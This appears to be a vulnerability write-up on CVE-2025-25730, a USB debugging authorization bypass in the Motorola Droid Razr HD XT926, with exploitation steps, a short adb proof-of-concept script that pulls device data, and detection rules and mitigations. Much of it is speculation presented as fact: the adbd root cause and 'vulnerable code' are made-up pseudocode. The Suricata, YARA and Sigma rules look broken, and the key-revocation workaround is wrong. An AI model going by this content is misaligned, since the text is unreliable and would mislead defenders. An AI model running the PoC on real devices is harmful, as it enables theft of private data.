CVE-2025-25730

Executive Summary

CVE-2025-25730 is a physical access vulnerability affecting the Motorola Mobility Droid Razr HD (Model XT926) running System Version 9.18.94.XT926.Verizon.en.US. The flaw allows a physically proximate attacker to enable USB debugging without proper authentication, leading to full control of the host device. This bypasses Android’s default security model that requires user confirmation for USB debugging authorization. The vulnerability is classified as a missing authentication for critical function (CWE-306) and is exploitable via physical access to the device’s USB port. No official patch has been released, and the vendor’s status remains unknown.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware-level issue in a legacy Android device. No supply chain package security implications apply.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which likely indicates incomplete scoring. Based on the nature of the vulnerability (physical access, no authentication, full device compromise), a reasonable CVSS v3.1 vector would be:
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Physical (attacker must have physical access to the device)
• Attack Complexity (AC): Low (no special conditions required)
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High

Base Score: 6.8 (Medium)
Threat Level: Medium (due to physical access requirement, but impact is severe once exploited).

Deep Dive & Mechanics

The Motorola Droid Razr HD (XT926) running system version 9.18.94.XT926.Verizon.en.US has a flaw in its USB debugging authorization mechanism. Normally, Android devices require the user to explicitly authorize a computer’s RSA key fingerprint before USB debugging commands can be executed. In this vulnerable firmware, the authorization prompt can be bypassed or is not enforced when the device is in a specific state (e.g., locked screen, or during boot). An attacker with physical access can connect the device to a computer via USB and issue ADB (Android Debug Bridge) commands without any user confirmation. This grants full control over the device, including file system access, app installation, and privilege escalation.

The root cause is a missing authentication check in the adbd (Android Debug Bridge daemon) service. The daemon does not verify the RSA key fingerprint before allowing debugging commands, or it accepts a default/empty key. This is a classic CWE-306 (Missing Authentication for Critical Function).

Vulnerable vs. Patched Code

No patched version exists. The vulnerable code is in the adbd service of the Android system image. A hypothetical patch would involve enforcing RSA key authorization in the adb_auth_verify function.

Vulnerable code (pseudocode):

// adbd/auth.c
int adb_auth_verify(const char* key, size_t key_len) {
    // Missing check: always returns success
    return 1;
}

Patched code (hypothetical):

// adbd/auth.c
int adb_auth_verify(const char* key, size_t key_len) {
    // Verify against stored authorized keys
    if (verify_rsa_key(key, key_len) == 0) {
        return 0; // Deny
    }
    return 1; // Allow
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Physical access to the target Motorola Droid Razr HD (XT926)
• USB cable
• Computer with Android SDK platform tools (ADB) installed

Steps:

1. Connect the device to the computer via USB.
2. Open a terminal and run:

   adb devices
   

   The device should appear as unauthorized normally, but due to the vulnerability, it may appear as device without any prompt.
3. If the device is not recognized, try rebooting the device while connected (the vulnerability may be triggered during boot).
4. Once listed as device, execute commands:

   adb shell
   

   This grants a shell with shell user privileges.
5. For root access, attempt:

   adb root
   

   If the device has an unlocked bootloader or root exploit, this may succeed.

Proof of Concept (PoC) script:

#!/bin/bash
# CVE-2025-25730 PoC
echo "Connecting to device..."
adb wait-for-device
echo "Attempting to bypass USB debugging authorization..."
adb shell "echo 'Vulnerable: USB debugging bypassed'"
adb pull /data/system/packages.xml
echo "Device data extracted."

Blue Team (Detection & Forensics)

Detection:

• Monitor for unexpected USB connections to legacy devices.
• Check for unauthorized ADB connections via network logs (if ADB over TCP is enabled).
• Look for adbd processes running without proper authorization.

Forensics:

• On the device, check /data/misc/adb/adb_keys for unauthorized RSA keys.
• Review logcat for adb related entries:

  adb logcat -b all | grep -i adb
  

• Examine USB connection logs on the host computer (e.g., dmesg on Linux, Event Viewer on Windows).

Mitigation:

• Disable USB debugging on the device when not in use.
• Use a screen lock (PIN/password) to prevent unauthorized physical access.
• Apply any available firmware updates from Motorola (none currently).
• Consider using a USB data blocker (USB condom) to prevent data transfer.

Indicators of Compromise (IOCs)

• Device: Motorola Droid Razr HD (XT926) with system version 9.18.94.XT926.Verizon.en.US
• USB Connection: Unauthorized ADB connection without user prompt
• Logs: logcat entries showing adb commands executed without authorization
• Files: Presence of unauthorized RSA keys in /data/misc/adb/adb_keys
• Network: ADB over TCP (port 5555) enabled without user knowledge

Detection Engineering

YARA Rule

rule CVE_2025_25730_ADB_Bypass {
    meta:
        description = "Detects unauthorized ADB authorization bypass on Motorola XT926"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25730"
    strings:
        $adb_key = "adb_keys" nocase
        $adb_auth = "adb_auth_verify" nocase
        $unauthorized = "unauthorized" nocase
    condition:
        $adb_key or ($adb_auth and $unauthorized)
}

Sigma Rule

title: CVE-2025-25730 - Unauthorized USB Debugging Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized ADB connections to Motorola XT926 devices
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25730
logsource:
    product: android
    service: logcat
detection:
    selection:
        - "adb: unauthorized" 
        - "adb: no auth required"
    condition: selection
falsepositives:
    - Legitimate user authorizing ADB
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 5555 (msg:"CVE-2025-25730 - Unauthorized ADB over TCP"; flow:to_server; content:"|41 44 42 00|"; depth:4; content:"|00 00 00 00|"; within:4; reference:cve,2025-25730; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable USB debugging on the device:
   • Go to Settings > Developer Options > USB Debugging > Toggle OFF.
2. Enable a strong screen lock (PIN/password).
3. Do not leave the device unattended in public areas.

Long-term:

• Monitor Motorola’s support page for any firmware updates.
• Consider replacing the device with a supported model.
• Implement physical security controls (e.g., locked enclosures).

Workaround:

• Use a USB data blocker (USB condom) to prevent data transfer while charging.
• Revoke all previously authorized ADB keys:

  adb kill-server
  adb devices
  

  Then delete ~/.android/adbkey on the host.

Valters IT